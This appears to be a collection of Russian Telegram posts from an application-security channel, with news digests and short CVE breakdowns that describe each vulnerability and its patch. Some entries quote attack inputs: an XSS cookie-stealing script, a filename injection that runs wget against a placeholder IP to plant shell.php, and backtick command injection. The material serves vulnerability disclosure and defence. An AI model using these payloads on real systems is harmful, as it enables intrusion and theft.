Radda/TG_CVE huggingface dataset:
Linux Kernel /proc/pid/syscall information disclosure vulnerabilityДетальный разбор CVE-2020-28588 (раскрытие информации в Linux Kernel 5.1 и 5.4.66).https://talosintelligence.com/vulnerability_reports/TALOS-2020-1211
From theory to practice: analysis and PoC development for CVE-2020-28018 (Use-After-Free in Exim)...building a PoC for one of the vulnerabilities published by Qualys in Eximhttps://adepts.of0x.cc/exim-cve-2020-28018/
Ученые изКембриджскогоуниверситетавСоединенномКоролевствераскрыли обнаруженный еще25июлявекторатакиTrojan Source, позволяющий внедрять уязвимости в исходный код программного обеспечения таким образом, чтобы рецензенты не могли их обнаружить, что создает угрозу популярному ПО и цепочкам поставок.Trojan Sourceиспользует простой прием, который не требует модификации компилятора или прочих ухищрений, затрагиваяC, C ++, C #, JavaScript, Java, Rust, Go и Python.Вся фишка состоит в использовании управляющих символовUnicodeдля изменения порядка токенов в исходном коде на уровне кодирования.Каквыяснилось, используя управляющие символы, встроенные в комментарии и строки, злоумышленник может переупорядочить исходный код, чтобы не меняя визуальной картинки изменить его логику таким образом, чтобы создать уязвимость, которую можно впоследствии поэксплуатировать.РеализацияTrojan Sourceпроисходит по двум сценариям:CVE-2021-42574(илидвунаправленнаяатака) иCVE-2021-42694(гомоглифическаяатака).В первом случае применяются элементы управленияUnicodeдля двунаправленного текста, чтобы определять направление, в котором отображается контент. К примеру,LRI и RLI.Двунаправленные (Bidi) элементы управленияLRIиRLIявляются невидимыми символами, и они не единственные. Вводя эти инструкции, компилятор может скомпилировать код, полностью отличный от того, что видит человек.Внедряя символы переопределенияUnicodeBidiв комментарии и строки, злоумышленник может создать синтаксически корректный исходный код на большинстве современных языков, для которого порядок отображения символов представляет собой логику, отличающуюся от реальной логики.Второй вариант атаки основывается на применениигомоглифов, то есть разных символов, которые хоть и имеют одинаковое визуальное представление, но реализуют разный функционал. Человеческий глаз будет видеть обе функции идентичными, в то время как компилятор различает латинскую «H» и кириллическую «H» и обрабатывает код как имеющий две разные функции, поэтому результат разным.Оказывается также, что символыBidiсохраняются при копировании/вставке в большинстве браузеров, редакторов и операционных систем.Trojan Sourceработает практически во редакторах кода и веб-репозиториях (оцените сами ниже втаблице)За свои изыскания научные деятели получили в среднем2 246 долларовпоbugbounty. НаGitHubонипредоставилиPoC, которые демонстрируют, насколько серьезной угрозой может быть атака: тем более, чтоTrojan Sourceзатрагивает почти все компьютерные языки, а патчи еще толком не выпущены, оставляя уязвимыми почти два десятка поставщиков программного обеспечения.
Ещё пара ссылок по теме Log4Shell (CVE-2021-44228):1.https://github.com/christophetd/log4shell-vulnerable-app— минимальный пример уязвимого приложения;2.https://github.com/Cybereason/Logout4Shell— "вакцина", эксплуатирующая уязвимость и изменяющая конфигурацию текущего экземпляра логгера атакованного приложения таким образом, чтобы сделать его неуязвимым к данной атаке :)
The JNDI Strikes Back – Unauthenticated RCE in H2 Database ConsoleVery recently, the JFrog security research team has disclosed an issue in the H2 database console which was issued a critical CVE – CVE-2021-42392. This issue has the same root cause as the infamous Log4Shell vulnerability in Apache Log4j (JNDI remote class loading).https://jfrog.com/blog/the-jndi-strikes-back-unauthenticated-rce-in-h2-database-console/
Всем привет! 💥🎙 Сегодня начинаем еженедельную подборку новостей из мира безопасной разработки.Дайте знать реакциями как вам формат?📌Делимсярезультатами исследования Positive Technologies, проведенного на Positive Hack Days 11.📌Разоблачение популярных мифовоб аппаратных закладках в процессорах📌 3100 Django-приложенийоказались уязвимы из-за включённого режима отладки📌 Израильские исследователипредставили метод скрытой передачи данныхс помощью SATA-кабелей📌Краткий обзорнынешней ситуации в области пост-квантовой криптографии📌 Исследователи из NCC Groupопубликовали ряд уязвимостей протокола ExpressRLS— наиболее популярного на сегодняшний день протокола радиоуправления любительскими дронами📌 Разбор уязвимостиCVE-2022-21449 в Java 15-18, позволявшей обойти механизм проверки ECDSA-подписи и подделать подписываемое сообщение📌ОпубликованТОП докладов технического трекаPHDays 11📌Microsoftпредставила детальный разбор уязвимости, позволявшей выйти из песочницы OSX#мероприятия
🧾 Ловите еженедельную подборку новостей от POSIdev📌Опубликован код фреймворкарантайм-защиты Pulsar, ориентированный на IoT-инфраструктуры📌Что такое mass assignmentи как детектировать этот класс уязвимостей с помощью GitHub CodeSearch📌Детальный разбор CVE-2022-20186(LPE через Arm Mali GPU kernel driver) и техники её эксплуатации📌Автор деобфускатора REstringerподелился деталями его разработкии внутреннего устройства📌Опубликована очередная awesome-подборка. На этот раз - материалы и ресурсы, посвящённые криптографии открытого ключа📌Аналитики из Palo Alto Networksрассказали о том, что поиски уязвимых хостов в сети начинаются уже через 15 минут после публикации CVE об очередной уязвимости🔐
📝 Подборка новостей отPOSIdev◾️ Positive Technologiesопубликовали аналитику по киберугрозам за II квартал 2022 года◾️ В инфраструктуру языка Goдобавили средства управления уязвимостями◾️ Обновлена электронная версия книги Дениса Юричева "SAT/SMT by Example"◾️ Драйвер античита игры Genshin Impactиспользовался в корпоративных атаках◾️Опубликован детальный разборуязвимости CVE-2022-31814 (RCE в pfBlockerNG)🔐#новости
📃Еженедельная подборка новостей от POSIdev📌Разбор свежей уязвимостик RCE через SSRF в Microsoft Office Online Server📌 Группа ресёрчеров Cybernewsподелилась результатами исследованияо раскрытии каталогов .git в opensource-проектах📌Первая часть статьи от Cyberark, посвящённая реверсингу руткитов и драйверов📌Новая реинкарнация старой уязвимостиот PortSwigger, HTTP/3 connection contamination📌 В Java-библиотеке Apache Commons Text найдена трендовая уязвимость (CVE-2022-42889), которая может привести к удаленному выполнению кода.Завтра мы выпустим про неё подробный материал💥_________________Хотите поделиться своей новостью? Пишите наtelegram@posidev.ioи мы опубликуем её в следующих постах.#новости
🔥Хотим рассказать о еще однойуязвимости CVE-2023-2825, которую считаем трендовой. Уязвимость с уровнем CVSS3.1: 10.0 затрагивает продукты GitLab Community и Enterprise Edition версии 16.0.0.🆘К чему может привестиНеавторизованный злоумышленник может использовать уязвимость обхода директорий для чтения произвольных файлов при условии существования публичного проекта управляемого как минимум пятью группами пользователей. Успешная эксплуатация может привести к раскрытию кода проектов, утечке учетных данных пользователей и другой чувствительной информации.Предположительно, проблема связана с тем, как именно GitLab работает с путями прикрепленных файлов, вложенных в несколько уровней иерархии групп. В связи с критически опасным уровнем уязвимости вендор настоятельно рекомендует выполнить обновление как можно быстрее.✅РекомендацииМы также рекомендуем выполнить оперативное обновление. Пока оно не будет произведено, необходимо контролировать публичные проекты, чтобы не допустить возможность эксплуатации уязвимости.💻 Информации о существовании публично доступного PoC или об эксплуатации уязвимости в хакерских атаках пока нет.#PositiveTechnologies
⚠️ Внимание! Трендовая уязвимостьCVE-2023-42793в JetBrains TeamCity.TeamCity — решение для непрерывной интеграции и доставки ПО (CI/CD). Уязвимость вызвана недостаточным контролем доступа к API сервера и позволяет неаутентифицированному злоумышленнику получить доступ к панели администратора.Под угрозой находятся компании-разработчики ПО.Эксплуатация данной уязвимости позволяет злоумышленнику, имеющему сетевой доступ к серверу TeamCity, получить исходные коды проектов и развить дальнейшую атаку на инфраструктуру при помощи выполнения произвольного кода на агентах исполнения задач сборки проектов.Уязвимость может привести к недопустимым для вендоров  событиям.❗️По рекомендациям вендора,для устранения уязвимости  необходимо обновить сервер TeamCity до версии 2023.05.4. Для снижения рисков, связанных с уязвимостью, необходимо установить плагин с исправлением от вендора.🆘Что делатьПроверьте узлы на наличие уязвимостиCVE-2023-42793с помощьюMaxPatrol VM.Если установлены последние обновления базы знаний, уязвимые активы будут определены автоматически.@Positive_Technologies
CVE-CVE-2023-5009 в системе контроля версии GitLab продуктов CE и EE версий от 13.12 до 16.2.7, от 16.3 до 16.3.4, позволяет запустить пайплайн через запланированные политики сканирования безопасности, что может привести к утечкам данных и к атакам на цепочки поставок. В рамках исправления уязвимостиcommitбыли внесены корректировки переменных, отвечающих за планирование политик (заменаschedule.owner `на `security_policy_botилиsecurity_policy_bot_2)
CVE-CVE-2023-5060 в системе мониторинга сети LibRemMS, которая приводит к XSS. Для выполнения атаки достаточно ввести в поле IP4 поисковой формы"><script>alert(document.cookie)</script>. В процессе исправления уязвимости была добавлена функция экранирования HTML-спецсимволовhtmlspecialchars($_POST['address']).
CVE-CVE-2023-5084 в приложении hestiacp до версии 1.8.8 (панель управления web-приложением) приводит к множественным XSS. Атака возможна с подменой параметровv_timezoneиv_backend_templateв теле запроса.  Исправление уязвимостиcommitисключает использования параметраv_backend_templateдля формирования ответа и реализует проверку на «белый» список параметраv_timezone.
CVE-CVE-2023-38886 в системе Dolibarr ERP CRM до версии 17.0.1, позволяет привилегированному удаленному пользователю выполнить произвольный код. Для реализации атаки используется функционал backup и поле для ввода имени файла с полезной нагрузкойwget 192.168.1.167 && mv index.html shell.php. В приложении некорректно реализована функция санитизации введенного значения имени файла. Полный разбор уязвимости опубликован здесь.
CVE-CVE-2023-43770 в почтовом веб-клиенте Roundcube до 1.4.14, 1.5.x до 1.5.4, и 1.6.x до 1.6.3 позволяет выполнить XSS через полученное e-mail сообщение. Причина уязвимости заключается в отсутствии проверки пользовательских данных на символы<,>, в результате появляется возможность инъекции тегов html-кода. При исправлении проблемыcommitбыли  добавлены символы<,>в шаблоны, используемые в контроле пользовательских данных.
CVE-CVE-2023-42793 в JetBrains TeamCity до версии 2023.05.4 позволяет обойти процесс аутентификации и в последствии выполнить произвольный код на атакуемом сервере. Проблема заключается в неправильном паттерне пути запроса (/**/RPC2), для которого были отключены предобработчики, в том числе и предобработчик аутентификации. Злоумышленник может обратиться к произвольному пути, в конец которого добавить/RPC2, что позволит обойти механизмы защиты. Исправление уязвимости заключается в указании правильного паттерна пути для RPC2 -/RPC2.
CVE-CVE-2023-5002 в платформе pgAdmin для администрирования PostgreSQL до версии 7.6 позволяет выполнить произвольные системные команды. Уязвимость заключается в отсутствии проверки значения параметраutility_pathв эндпойнте/misc/validate_binary_path, которое попадает в качестве первого аргумента в функциюsubprocess.getoutput.Первое исправлениене устранило уязвимость, была добавлена недостаточная санитизация пользовательских данных - замена одного символа двойной кавычки на два, что по прежнему позволяло выполнять произвольные команды, например, оборачивая их в обратные кавычки (``ls``). Вфинальном исправлениифункцияsubprocess.getoutputбыла реализована замена на более безопасный вариант -subprocess.runсshell=False.⁉️Хотите, чтобы эта#экспериментальная_рубрикастала постоянной? Ждём ваших реакций и комментариев👇
📌Наиболее интересные публикации по аппсеку за прошедшую неделю📰 Описание эффективной техникиобфускации in-memory сборок .NETот R-Tec.📰 И снова RSA, и снова Блейхенбахер, и снова оракулы...Оригиналстатьи о старой-новой атаке MARVIN, краткоесаммарина русском.📰Опытот VK по аппсеку внутренних ресурсов.📰 Краткаяисторияфункций парольного хэширования.📰 Очередная атака по побочным каналам, на этот раз на GPU, поэтому "GPU.zip".📰 Весьма годныйFAQпо проблемам безопасности многопоточных вычислений. Здесь же, нельзя не упомянуть о более ранних, но не менее годных статьях от PortSwigger на эту же тему (раз,два).📰 ДетальныйразборCVE-2023-35813 — атаки на древний, мамонтовый, но иногда всё ещё актуальный TemplateParser в ASP.Net WebForms.📰 Поучительнаяисторияо том, как DLL hijacking в WinDbg был исправлен в рамках багбаунти, но так и не получил подтверждённого CVE.📰Разборещё одной CVE-2023-38831, винрарной в самом прямом смысле этого слова🦄📰Статьяот Veracode об управлении секретами в условиях облачной разработки.⁉️Это — тоже#экспериментальная_рубрика. Что нужно делать, чтобы она стала постоянной, вы, впрочем, уже знаете👇
CVE-CVE-2023-40044 в платформе для обмена даннымиProgress Software WS_FTP Serverдо версий8.7.4и8.8.2позволяет неаутентифицированному атакующему выполнять произвольные команды с помощью эксплуатации небезопасной .NET десериализации. Уязвимость заключается в использовании небезопасной реализацииBinaryFormatter.Deserializeдля десериализации пользовательских данных, полученных из POST multipart запроса к эндпойнтам модуля "Ad Hoc Transfer" (/AHT) и последующего формирования экземпляра классаSettingsStorageObject, в котором содержатся только три публичных поля типа массива символов. В таких случаях разработчикам было бы достаточно реализовать свойSerializationBinder, в котором ограничить использование типов или использовать иные методы заполнения полей при формирования экземпляров класса, но в патче только была вырезана уязвимая функциональность. Для эксплуатации достаточно стандартных стандартных цепочек гаджетов из набораysoserial.net(например,DataSet).
CVE-CVE-2023-4863 в библиотекеlibwebpдля обработки изображений формата WebP, исправленная в коммите902bc91,позволяет злоумышленнику выполнить запись за пределы кучи с помощью специально сформированногоwebpфайла. Уязвимость заключается в выделении буфераhuffman_tablesнекорректного размера внутри функцииReadHuffmanCodeи последующей записи в него данных, размер которых превышает это значение. Размерhuffman_tablesвычисляется на основе предварительно сформированного массиваkTableSize, который учитывает только размеры для поиска в 8-битной таблице первого уровня. Поскольку libwebp поддерживает коды длиной до 15 бит, проблема может возникнуть, когда функцияBuildHuffmanTableпопытается заполнить таблицы второго уровня. В патче была добавлена проверка корректности входных данных с помощью вызова функцииVP8LBuildHuffmanTableпри первом проходе (в котором еще не идет запись в таблицу Хаффмана) для расчета необходимого размера, если данные некорректны - выполнение завершается. Более подробный разбор уязвимости можно посмотреть вэтой статье.
CVE-CVE-2023-43256 в платформе домашнего ассистентаGladys Assistantпозволяет привилегированному удаленному пользователю читать произвольные файлы на сервере. Уязвимость заключается в отсутствии проверки значений входящих параметров запросаfolderиfileв обработчике запросаgetStreamingFile(/api/v1/service/rtsp-camera/camera/streaming/:folder/:file). Значения данных параметров участвуют в формировании пути (path.join(gladys.config.tempFolder, req.params.folder, req.params.file)) для возвращаемого в ответе файла. Впатчебыла добавлена проверка входящих значений по строгому паттерну (/index[0-9]+.ts/) или наличие в массиве допустимых значений['index.m3u8', 'index.m3u8.key', 'key_info_file.txt']дляfileи/^camera-[a-zA-Z0-9-_]+$/дляfolder).
CVE-CVE-2023-2315 в OpenCart с версии4.0.0.0до4.0.2.2позволяет аутентифицированному пользователю с правами на доступ/модификацию в компонентеLogудалять содержимое произвольных файлов на сервере. Уязвимость заключается в отсутствии санитизации параметра запросаfilenameу эндпойнтаtool/log.clear, который впоследствии попадает в функциюfopenс модификатором доступаw+для очистки файла.Патчдобавляет использование функцииbasenameпри извлечении из параметра запроса последнего компонента пути (имени файла).
Всем привет!👋(@vkochetkovздесь)Отбирая статьи для понедельничной рубрики, наткнулся на забавноеэссе, посвящённое проверкам входных данных. Должен признаться, я в душе не чаю, кто его автор — признанный ли он эксперт или нет... вроде раньше не слышал🤔Но пройти мимо и не прокомментировать, не смог.Дело в том, что сей Pedram, предлагая решать проблему обработки входных данных «зря в корень», похоже, даже близко себе не представляет, где этот корень находится. Рассмотрим на примере первой части статьи. В ней автор рассматривает примеры решений одного из челленджей SecDim, основанного наCVE-2021-43798, и отбраковывает одно за другим, апеллируя к тому, что они не устраняют корень проблемы. Корень же Path Traversal, по убеждению автора, заключается в (я цитирую):> is the lack of path canonicalizationИ здесь он глубоко ошибается. Канонизация, нормализация, валидация, санитизация и прочие «-ации» хороши тогда, когда применяются на уровне модели предметной области, а не на уровне синтаксиса весьма низкоуровневых сущностей, коими являются файловые пути. Причиной уязвимости здесь является протаскивание этих сущностей на уровень предметной области, вместо сокрытия за абстракциями. И грамотным подходом в данном случае было бы не «отдать пользователю файл по запрошенному пути», а «отдать пользователю запрошенный по буквенно-числовому идентификатору объект», а уже связь между этими идентификаторами и физическими файлами, устанавливать без участия пользователя, где-то на стыке слоя представления и слоя бизнес-логики.Возможно для кого-то это и окажется откровением, но уязвимости в том числе к инъекциям, зачастую, и в первую очередь, являются проблемами дизайна предметной области приложения, и только потом — синтаксическими багами про недостаточную предварительную обработку.Btw, предложенное автором решение никак не защищает от, например, обращения к альтернативным потокам NTFS, если приложение окажется (не дай бог, конечно) развёрнутым под виндой. Как и от внедрения нуль-байта, управляющих символов и прочих DoS через жестко-заданные в ОС файловые имена. Зависит от окружения, конечно, но кто ж так в корень-то смотрит?🤦‍♂️И потом, если уж мы протащили файловые пути на уровень бизнес-логики, то реализуя тем самым требование «отдать пользователю существующий файл по запрошенному, жестко-заданному пути». И вот что мешало вспомнить о принципе KISS и сделать как-то так — ума не приложу:if not str.isidentifier(filename) or filename not in os.listdir("/resources"):return HttpResponseBadRequest()(почему не с помощьюos.path.exists()— пусть будет домашним заданием)На две трети решённая задача обеспечения безопасности приложения — это грамотный дизайн его архитектуры и модели предметной области.А не вот это вот всё... 🫠❗️И да, это тоже#экспериментальная_рубрика. А вы как думали?👇
CVE-CVE-2023-41580 , обнаруженная в платформе управления IP-адресамиphpipamдо версии1.5.2,позволяет аутентифицированному атакующему получать конфиденциальные данные из хранилища через LDAP инъекцию. Уязвимость заключается в отсутствии санитизации пользовательских данных, попадающих в функцию$adldap->user()->info, которая формирует LDAP запросы  для получения данных о пользователе. Висправленииданные, попадающие в LDAP запрос, проходят через экранирующую функциюldap_escapeс флагомLDAP_ESCAPE_DN.
CVE-CVE-2023-42809 в клиентеRedissonдо версии3.22.0позволяет исполнять произвольный код при подключении к вредоносному серверу. Уязвимость заключается в попадании пользовательских данных вфункциюObjectInputStream.readObjectи их небезопасной десериализации. Впатчебыл добавлен "белый" список классов, который определяет разрешенные объекты при десериализации. Упрощению  эксплуатации способствует наличие в составе Redisson библиотеки "Apache Commons Collections 4", для которой существует стандартный ysoserial гаджет "CommonsCollections2".
CVE-CVE-2023-43793 в децентрализованной социальной медиа платформеMisskeyдо версии2023.9.0позволяет обходить процесс аутентификации, для эндпойнтов, начинающихся с/queue. Проблема затрагивала процедуру сравнения пути эндпойнта сзакодированнымURI, что обеспечивало обход процесса аутентификации. ВисправленииURI запроса перед его сравнением декодируется при помощи функцииdecodeURI.
CVE-CVE-2023-44390 , выявленной в .NET библиотеке html-санитизацииHtmlSanitizerдо версии8.0.723, позволяет обходить процесс санитизации и добавлять вредоносные html-объекты.  В библиотеке данные, находящиеся в комментариях или в текстовых полях html документа, обрабатывались без экранирования. Для этих случае впатчебыла добавлена замена символов"<"и">"на их html-мнемоники ("&lt;"и"&gt;").
CVE-CVE-2023-26153 в библиотеке для работы с геолокациейgeokit-railsдо версии2.5.0позволяет неаутентифицированному атакующему выполнять произвольные команды с помощью эксплуатации небезопасной YAML десериализации. Проблема связана с попаданием значения"geo_location"куки в уязвимую функциюYAML.load. Дляисправленияуязвимости функциюYAML.loadзаменили на безопасную функциюJSON.parse.
CVE-CVE-2023-44487 в протоколеHTTP/2. Проблема связана с дизайном протокола HTTP/2 и касается возможности одностороннего сброса потока отправкойRST_STREAM, что в итоге позволяет создавать неограниченное количество новых потоков для сервера и приводит к отказу в обслуживании. Многие разработчики библиотек, реализующих протокол HTTP/2, уже добавляют механизмы контроля количества новых потоков (клон Nginxtengine,jetty,envoy, пакет gox/net/http2и т.д).  Ссылку на подробный разбор ищите в нашем предыдущем новостном посте.
CVE-CVE-2023-36820 в платформеMicronaut Securityдо версий3.1.2, 3.2.4, 3.3.2, 3.4.3, 3.5.3, 3.6.6, 3.7.4, 3.8.4, 3.9.6, 3.10.2 и 3.11.1приводит к обходу процесса валидации IDтокена. Проблема заключается в отсутствии проверки значенияaudна соответствие идентификатору клиентапри условии, что  в настройках значениеmicronaut.security.authenticationвыставлено вidtoken,а также значениеissсовпадает со значением текущего эмитента приложения. Впатческорректирована логика валидации токена через использование логического оператора "и" (&&) вместо"или" (||).
CVE-CVE-2023-44393 ,выявленная в приложенииPiwigoдо версии14.0.0beta4, приводит к возможности внедрения дополнительных DOM сущностей в состав HTML документа. Уязвимость заключается в отсутствии санитизации пользовательских данных ($_GET['plugin_id']), попадающих в переменную$activate_url, которая участвует в формировании тела ответа. Висправлениибыл исключен канал воздействия путем удаления$_GET['plugin_id']из формирования значения переменной$activate_url.
CVE-CVE-2023-41047 в веб-интерфейсе для 3D принтеровOctoPrintдо версии1.9.3позволяет привилегированным пользователям выполнять произвольный код путем создания специально сформированных GCODE-скриптов. Уязвимость состоит в использовании небезопасного jinja2-окруженияjinja2.sandbox.Environmentпри работе с шаблонами.Патчзаменяетjinja2.sandbox.Environmentна более безопасный вариант -jinja2.sandbox.SandboxedEnvironment,в котором при попытке исполнения небезопасного кода будет выдано исключениеjinja2.sandbox.SecurityError.
CVE-CVE-2023-23930 ,найденная в платформе для обученияvantage6до версии4.0.0, заключается в использовании небезопасной реализации процесса десериализации с использованием библиотекиpickle, что может привести к исполнению произвольного кода. Висправленииуязвимая функцияpickle.loadsбыла заменена на безопасный вариант -json.loads.